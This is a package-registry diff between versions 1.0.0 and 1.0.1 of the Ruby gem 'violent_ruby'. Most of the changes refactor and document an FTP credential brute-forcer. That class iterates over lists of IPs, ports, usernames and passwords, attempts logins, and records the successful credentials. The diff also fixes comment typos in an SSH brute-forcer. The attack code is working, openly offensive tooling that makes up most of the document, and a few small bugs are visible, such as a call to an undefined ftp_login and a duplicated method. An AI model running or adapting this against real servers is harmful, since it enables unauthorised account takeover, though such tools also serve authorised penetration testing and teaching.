violent_ruby 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: b695549147a05c96fe7b4826dfb03e5db7510ccf
4
- data.tar.gz: c4320ebaa7cf05c18b4b2ad0f4dd3a5fe56513c8
3
+ metadata.gz: cda346e57dd13576d7868364849f39b07f1d3358
4
+ data.tar.gz: b2bab88d80cfcdcf1905d37e5133290ff2ffacee
5
5
  SHA512:
6
- metadata.gz: b458561b7678717776fa90a8d49ef9a5860f505b7f5c21f2d6b138f25891b030c3898085ce0d8bfff6653c462c1db7033fa1233ff9899890379bc96875cfaed0
7
- data.tar.gz: fbf8936c616b3832a4f9d6926debac7b3b13e38dbb390b2a501aa17f2dd84da2350fea8d56bb049d5525f691c2744ddafb7a140cc3a732ef2c09d3829c78c2a1
6
+ metadata.gz: 24d0dd09c999a3e0115b2c845257e01c24d4c4aa662e2c587cf103b0e3811be120c85d3da92af7efbc2ec32708e4effb333155c4d9a406575f0c31b61ee8658e
7
+ data.tar.gz: d04fa5bd6b888b5210a2332ca099046566296f22977a996b484f82a11c381305269199b40009813f143fee9ab87dde8b6d3298ace24ebc62d413eec287686ad4
@@ -1,143 +1,208 @@
1
1
  require 'net/ftp'
2
2
 
3
3
  module ViolentRuby
4
- # The Ftp Brute Forcer class provides a simply way to
5
- # brute-force an FTP server's credentials.
6
- # @author Kent 'picat' Gruber
7
- #
8
- # @example Basic Usage
9
- # ftp = FtpBruteForcer.new
10
- # ftp.users = "resources/ftp_users.txt"
11
- # ftp.passwords = "resources/ftp_passwords.txt"
12
- # ftp.ips = "resources/ftp_ips.txt"
13
- # ftp.ports = "resources/ftp_ports.txt"
14
- # # brue'm!
15
- # ftp.brute_force!
16
- # # => results
17
- #
18
- class FtpBruteForcer
4
+ # The Ftp Brute Forcer class provides a simply way to
5
+ # brute-force an FTP server's credentials.
6
+ # @author Kent 'picat' Gruber
7
+ #
8
+ # @example Basic Usage
9
+ # ftp = FtpBruteForcer.new
10
+ # ftp.users = "resources/ftp_users.txt"
11
+ # ftp.passwords = "resources/ftp_passwords.txt"
12
+ # ftp.ips = "resources/ftp_ips.txt"
13
+ # ftp.ports = "resources/ftp_ports.txt"
14
+ # # brue'm!
15
+ # ftp.brute_force!
16
+ # # => results
17
+ #
18
+ class FtpBruteForcer
19
+ # @attr [String] users Path to file containing users.
19
20
  attr_accessor :users
20
- attr_accessor :passwords
21
- attr_accessor :ips
22
- attr_accessor :ports
23
-
24
- # Create a new Ftp Brute Forcer.
25
- #
26
- # @param [Hash] args The options to create a new Ftp Brute Forcer.
27
- # @param args [String] :users The path to a file of users to attempt.
28
- # @param args [String] :passwords The path to a file of passwords to attempt.
29
- # @param args [String] :ips The path to a file of server ips to attempt to connect to.
30
- # @param args [String] :ports The path to a file of service ports to attempt to connect to.
31
- def initialize(args = {})
32
- @users = args[:users] if args[:users] && File.readable?(args[:users])
33
- @passwords = args[:passwords] if args[:passwords] && File.readable?(args[:passwords])
34
- @ips = args[:ips] if args[:ips] && File.readable?(args[:ips])
35
- @ports = args[:ports] if args[:ports] && File.readable?(args[:ports])
36
- @ftp = Net::FTP.new
37
- end
38
-
39
- # Brute force some'a dem FTP login credz.
40
- #
41
- # @param [Hash] args The options to brute force.
42
- # @param args [String] :users The path to a file of users to attempt.
43
- # @param args [String] :passwords The path to a file of passwords to attempt.
44
- # @param args [String] :ips The path to a file of server ips to attempt to connect to.
45
- # @param args [String] :ports The path to a file of service ports to attempt to connect to.
46
- def brute_force(args = {})
47
- meets_our_requirements?(args)
48
- results = []
49
- ips = args[:ips] || @ips
50
- ports = args[:ports] || @ports
51
- users = args[:users] || @users
52
- passwords = args[:passwords] || @passwords
53
- iterate_over(ips).each do |ip|
54
- iterate_over(ports).each do |port|
55
- next unless connectable?(ip: ip, port: port)
56
- binding.pry
57
- iterate_over(users).each do |user|
58
- iterate_over(passwords).each do |password|
59
- if able_to_login?(ip: ip, port: port, username: user, password: password)
60
- puts "yup"
61
- results << format_result("SUCCESS", ip, port, user, password)
62
- else
63
- puts "nope"
64
- results << format_result("FAILURE", ip, port, user, password)
65
- end
66
- end
67
- end
68
- end
69
- end
70
- results
71
- end
72
-
73
- def connectable?(args = {})
74
- @ftp.connect(args[:ip], args[:port])
75
- return true if @ftp.last_response_code == "220"
76
- false
77
- rescue
78
- false
79
- end
80
-
81
- def able_to_login?(args = {})
82
- #@ftp_login ||= Net::FTP.new
83
- @ftp.connect(args[:ip], args[:port])
84
- @ftp.login(args[:username], args[:password])
85
- if @ftp.welcome == "230 Login successful.\n"
86
- @ftp.close
87
- return true
88
- end
89
- ftp_login.quit
90
- false
91
- rescue
92
- false
93
- end
94
-
95
- alias brute_force! brute_force
96
-
97
- private
98
-
99
- def format_result(type, ip, port, user, password)
100
- { time: Time.now, type: type, ip: ip, port: port, user: user, password: password }
101
- end
102
-
103
-
104
- def iterate_over(file)
105
- File.foreach(file).map(&:strip)
106
- end
107
-
108
- def meets_our_requirements?(args = {})
109
- raise "No ip addresses to connect to." unless ips?(args)
110
- raise "No ports to connect to." unless ports?(args)
111
- raise "No passwords to try." unless passwords?(args)
112
- raise "No users to try." unless users?(args)
113
- true
114
- end
115
-
116
- def ips?(args = {})
117
- return true if args[:ips]
118
- return true if @ips
119
- false
120
- end
121
-
122
- def passwords?(args = {})
123
- return true if args[:passwords]
124
- return true if @passwords
125
- false
126
- end
127
-
128
- def ports?(args = {})
129
- return true if args[:ports]
130
- return true if @ports
131
- false
132
- end
133
-
134
- def users?(args = {})
135
- return true if args[:users]
136
- return true if @users
137
- false
138
- end
139
-
140
-
141
-
142
- end
21
+ # @attr [String] passwords Path to file containing passwords.
22
+ attr_accessor :passwords
23
+ # @attr [String] ips Path to file containing ip addresses.
24
+ attr_accessor :ips
25
+ # @attr [String] ports Path to file containing ports.
26
+ attr_accessor :ports
27
+
28
+ # Create a new Ftp Brute Forcer.
29
+ #
30
+ # @param [Hash] args The options to create a new Ftp Brute Forcer.
31
+ # @param args [String] :users The path to a file of users to attempt.
32
+ # @param args [String] :passwords The path to a file of passwords to attempt.
33
+ # @param args [String] :ips The path to a file of server ips to attempt to connect to.
34
+ # @param args [String] :ports The path to a file of service ports to attempt to connect to.
35
+ def initialize(args = {})
36
+ @users = args[:users] if args[:users] && File.readable?(args[:users])
37
+ @passwords = args[:passwords] if args[:passwords] && File.readable?(args[:passwords])
38
+ @ips = args[:ips] if args[:ips] && File.readable?(args[:ips])
39
+ @ports = args[:ports] if args[:ports] && File.readable?(args[:ports])
40
+ @ftp = Net::FTP.new
41
+ end
42
+
43
+ # Brute force some'a dem FTP login credz.
44
+ #
45
+ # @param [Hash] args The options to brute force.
46
+ # @param args [String] :users The path to a file of users to attempt.
47
+ # @param args [String] :passwords The path to a file of passwords to attempt.
48
+ # @param args [String] :ips The path to a file of server ips to attempt to connect to.
49
+ # @param args [String] :ports The path to a file of service ports to attempt to connect to.
50
+ def brute_force(args = {})
51
+ meets_our_requirements?(args)
52
+ results = []
53
+ ips = args[:ips] || @ips
54
+ ports = args[:ports] || @ports
55
+ users = args[:users] || @users
56
+ passwords = args[:passwords] || @passwords
57
+ iterate_over(ips).each do |ip|
58
+ iterate_over(ports).each do |port|
59
+ next unless connectable?(ip: ip, port: port)
60
+ iterate_over(users).each do |user|
61
+ iterate_over(passwords).each do |password|
62
+ if able_to_login?(ip: ip, port: port, username: user, password: password)
63
+ result = format_result("SUCCESS", ip, port, user, password)
64
+ else
65
+ result = format_result("FAILURE", ip, port, user, password)
66
+ end
67
+ results << result
68
+ yield result if block_given?
69
+ end
70
+ end
71
+ end
72
+ end
73
+ results
74
+ end
75
+
76
+ # brute_force! is the same as brute_force
77
+ alias brute_force! brute_force
78
+
79
+ # Check if a given IP address and port can connceted to.
80
+ # @see #brute_force
81
+ # @param [Hash] args the options to brute force.
82
+ # @param args [String] :ip The ip address to attempt to connect to.
83
+ # @param args [String] :port The port to attempt to connect to.
84
+ # @return [Boolean]
85
+ def connectable?(args = {})
86
+ @ftp.connect(args[:ip], args[:port])
87
+ return true if @ftp.last_response_code == "220"
88
+ false
89
+ rescue
90
+ false
91
+ end
92
+
93
+ # Check if a given IP address, port, username and passwords
94
+ # are correct to login.
95
+ # @see #brute_force
96
+ # @param [Hash] args
97
+ # @param args [String] :ip
98
+ # @param args [String] :port
99
+ # @param args [String] :username
100
+ # @param args [String] :password
101
+ # @return [Boolean]
102
+ def able_to_login?(args = {})
103
+ @ftp.connect(args[:ip], args[:port])
104
+ @ftp.login(args[:username], args[:password])
105
+ if @ftp.welcome == "230 Login successful.\n"
106
+ @ftp.close
107
+ return true
108
+ end
109
+ ftp_login.quit
110
+ false
111
+ rescue
112
+ false
113
+ end
114
+
115
+
116
+ private
117
+
118
+ # @api private
119
+ # Format the results from brute force attempts.
120
+ # @see #brute_force
121
+ # @param [String] type
122
+ # @param [String] ip
123
+ # @param [Integer] port
124
+ # @param [String] user
125
+ # @param [String] password
126
+ # @return [Hash]
127
+ def format_result(type, ip, port, user, password)
128
+ { time: Time.now, type: type, ip: ip, port: port, user: user, password: password }
129
+ end
130
+
131
+ # @api private
132
+ # Iterate over each line in a file, stripping each line as it goes.
133
+ # @see File
134
+ # @param [String] file
135
+ # @return [Enumerator]
136
+ def iterate_over(file)
137
+ File.foreach(file).map(&:strip)
138
+ end
139
+
140
+ # @api private
141
+ # Check if the given arguments contain an ip, port, password and user files.
142
+ # @see #brute_force
143
+ # @param [Hash] args the options to brute force.
144
+ # @param args [String] :ips
145
+ # @param args [String] :ports
146
+ # @param args [String] :passwords
147
+ # @param args [String] :users
148
+ # @return [Boolean]
149
+ def meets_our_requirements?(args = {})
150
+ raise "No ip addresses to connect to." unless ips?(args)
151
+ raise "No ports to connect to." unless ports?(args)
152
+ raise "No passwords to try." unless passwords?(args)
153
+ raise "No users to try." unless users?(args)
154
+ true
155
+ end
156
+
157
+ # @api private
158
+ # Check if the given arguments contains ips, or has been set.
159
+ # @see #meets_our_requirements?
160
+ # @param [Hash] args the options to brute force.
161
+ # @param args [String] :ips
162
+ # @return [Boolean]
163
+ def ips?(args = {})
164
+ return true if args[:ips] || @ips
165
+ false
166
+ end
167
+
168
+ # @api private
169
+ # Check if the given arguments contains passwords, or has been set.
170
+ # @see #meets_our_requirements?
171
+ # @param [Hash] args
172
+ # @param args [String] :passwords
173
+ # @return [Boolean]
174
+ def passwords?(args = {})
175
+ return true if args[:passwords] || @passwords
176
+ false
177
+ end
178
+ def passwords?(args = {})
179
+ return true if args[:passwords] || @passwords
180
+ false
181
+ end
182
+
183
+ # @api private
184
+ # Check if the given arguments contains ports, or has been set.
185
+ # @see #meets_our_requirements?
186
+ # @param [Hash] args
187
+ # @param args [String] :ports
188
+ # @return [Boolean]
189
+ def ports?(args = {})
190
+ return true if args[:ports] || @ports
191
+ false
192
+ end
193
+
194
+ # @api private
195
+ # Check if the given arguments contains users, or has been set.
196
+ # @see #meets_our_requirements?
197
+ # @param [Hash] args
198
+ # @param args [String] :users
199
+ # @return [Boolean]
200
+ def users?(args = {})
201
+ return true if args[:users] || @users
202
+ false
203
+ end
204
+
205
+
206
+
207
+ end
143
208
  end
@@ -14,7 +14,7 @@ module ViolentRuby
14
14
  # ssh.ips = "resources/ssh_ips.txt"
15
15
  # ssh.ports = "resources/ssh_ports.txt"
16
16
  # # brue'm!
17
- # ftp.brute_force!
17
+ # ssh.brute_force!
18
18
  # # => results
19
19
  #
20
20
  class SSHBruteForcer
@@ -24,7 +24,7 @@ module ViolentRuby
24
24
  attr_accessor :passwords
25
25
  # @attr [String] ips Path to file containing ip addresses.
26
26
  attr_accessor :ips
27
- # @attr [String] ips Path to file containing ports.
27
+ # @attr [String] ports Path to file containing ports.
28
28
  attr_accessor :ports
29
29
 
30
30
  # Create a new SSH Brute Forcer.
@@ -1,3 +1,3 @@
1
1
  module ViolentRuby
2
- VERSION = "1.0.0"
2
+ VERSION = "1.0.1"
3
3
  end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: violent_ruby
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.0.0
4
+ version: 1.0.1
5
5
  platform: ruby
6
6
  authors:
7
7
  - Kent Gruber